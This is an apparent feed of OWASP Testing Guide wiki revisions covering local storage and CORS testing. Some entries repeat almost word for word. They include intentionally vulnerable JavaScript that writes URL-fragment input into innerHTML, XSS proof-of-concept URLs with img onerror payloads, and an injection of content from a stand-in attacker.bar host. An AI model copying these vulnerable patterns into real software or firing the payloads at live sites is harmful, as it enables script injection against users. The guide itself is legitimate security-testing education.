[[File:storage-chrome.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Firefox and the addon Firebug you can easily inspect the localStorage/sessionStorage object in the DOM tab&lt;br /&gt;
&lt;br /&gt;
[[File:storage-firefox.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also, we can inspect these objects from the developer tools of our browser.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then, manual testing needs to be conducted in order to determine whether the website is storing sensitive data in the Storage, which respresent a risk and will increase dramatically the impact of a information leak. Also check the code handling the Storage to determine if it is vulnerable to injection attacks, common issue when the code does not escape the input or output. The JavaScript code has to be analyzed to evaluate these issues, so make sure you crawl the application to discover every instance of JavaScript code and note sometimes applications use third-party libraries that would need to be examined too.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Here is an example of how improper use of user input and lack of validation can lead to XSS attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: XSS in localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Insecure assignment from localStorage can lead to XSS&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function action(){&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
&lt;br /&gt;
localStorage.setItem(&amp;quot;item&amp;quot;,resource);&lt;br /&gt;
&lt;br /&gt;
item = localStorage.getItem(&amp;quot;item&amp;quot;);&lt;br /&gt;
document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=item;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body onload=&amp;quot;action()&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
URL PoC:&lt;br /&gt;
&lt;br /&gt;
http://server/StoragePOC.html#&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Storage-xss.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Storage Specification''': http://www.w3.org/TR/webstorage/&lt;br /&gt;
&lt;br /&gt;
'''Tools''' &lt;br /&gt;
* '''Firebug''' -  http://getfirebug.com/&lt;br /&gt;
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164682</id>
		<title>Test Local Storage (OTG-CLIENT-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164682"/>
				<updated>2013-12-15T18:50:03Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: minor additions/changes&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary == &lt;br /&gt;
&lt;br /&gt;
Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP).&lt;br /&gt;
There are two objects, localStorage that is persistent and is intented to survive browser/system reboots and sessionStorage that is temporary and will only exists until the window or tab is closed. On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data stored in these two objects is kept in the client and never sent to the server, this also improves network performance as data do not need to travel over the wire back and forth.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
=== localStorage ===&lt;br /&gt;
&lt;br /&gt;
Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage.&lt;br /&gt;
Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.&lt;br /&gt;
Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the  same  storage.&lt;br /&gt;
&lt;br /&gt;
Data stored in this object will persist after the window is closed, it is a bad idea to store sensitive data or session identifiers on this object as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== sessionStorage ===&lt;br /&gt;
&lt;br /&gt;
Main difference with localStorage is that the data stored in this object is only accesible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions.&lt;br /&gt;
It shares most of the properties and the getItem/setItem methods, so manual testing needs to be undertaken to look for these methods and identify in which parts of the code the storage is accesed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for issues within the Local Storage code is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
First of all, we need to check whether the Local Storage is used.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 1: Access to localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Access to every element in localStorage with JavaScript:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
for(var i=0; i&amp;lt;localStorage.length; i++) {                                               &lt;br /&gt;
        console.log(localStorage.key(i), &amp;quot; = &amp;quot;, localStorage.getItem(localStorage.key(i)));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
same code can be applied to sessionStorage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Google Chrome, click on menu -&amp;gt; Tools -&amp;gt; Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'&lt;br /&gt;
&lt;br /&gt;
[[File:storage-chrome.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Firefox and the addon Firebug you can easily inspect the localStorage/sessionStorage object in the DOM tab&lt;br /&gt;
&lt;br /&gt;
[[File:storage-firefox.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also, we can inspect these objects from the developer tools of our browser.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then, manual testing needs to be conducted in order to determine whether the website is storing sensitive data in the Storage, which respresent a risk and will increase dramatically the impact of a information leak. Also check the code handling the Storage to determine if it is vulnerable to injection attacks, common issue when the code does not escape the input or output. The JavaScript code has to be analyzed to evaluate these issues, so make sure you crawl the application to discover every instance of JavaScript code and note sometimes applications use third-party libraries that would need to be examined too.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Here is an example of how improper use of user input and lack of validation can lead to XSS attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: XSS in localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Insecure assignment from localStorage can lead to XSS&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function action(){&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
&lt;br /&gt;
localStorage.setItem(&amp;quot;item&amp;quot;,resource);&lt;br /&gt;
&lt;br /&gt;
item = localStorage.getItem(&amp;quot;item&amp;quot;);&lt;br /&gt;
document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=item;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body onload=&amp;quot;action()&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
URL PoC:&lt;br /&gt;
&lt;br /&gt;
http://server/StoragePOC.html#&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Storage-xss.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Storage Specification''': http://www.w3.org/TR/webstorage/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tools &lt;br /&gt;
* '''Firebug''' -  http://getfirebug.com/&lt;br /&gt;
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164681</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164681"/>
				<updated>2013-12-15T18:08:23Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: rewrote few paragraphs&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.&lt;br /&gt;
This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection.&lt;br /&gt;
&lt;br /&gt;
Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Request (note the 'Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response (note the 'Access-Control-Allow-Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
[[File:CORS-example.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br/&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/ &lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br/&amp;gt;&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164678</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164678"/>
				<updated>2013-12-15T17:41:13Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: typo&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.&lt;br /&gt;
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.&lt;br /&gt;
&lt;br /&gt;
Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Request (note the 'Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response (note the 'Access-Control-Allow-Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
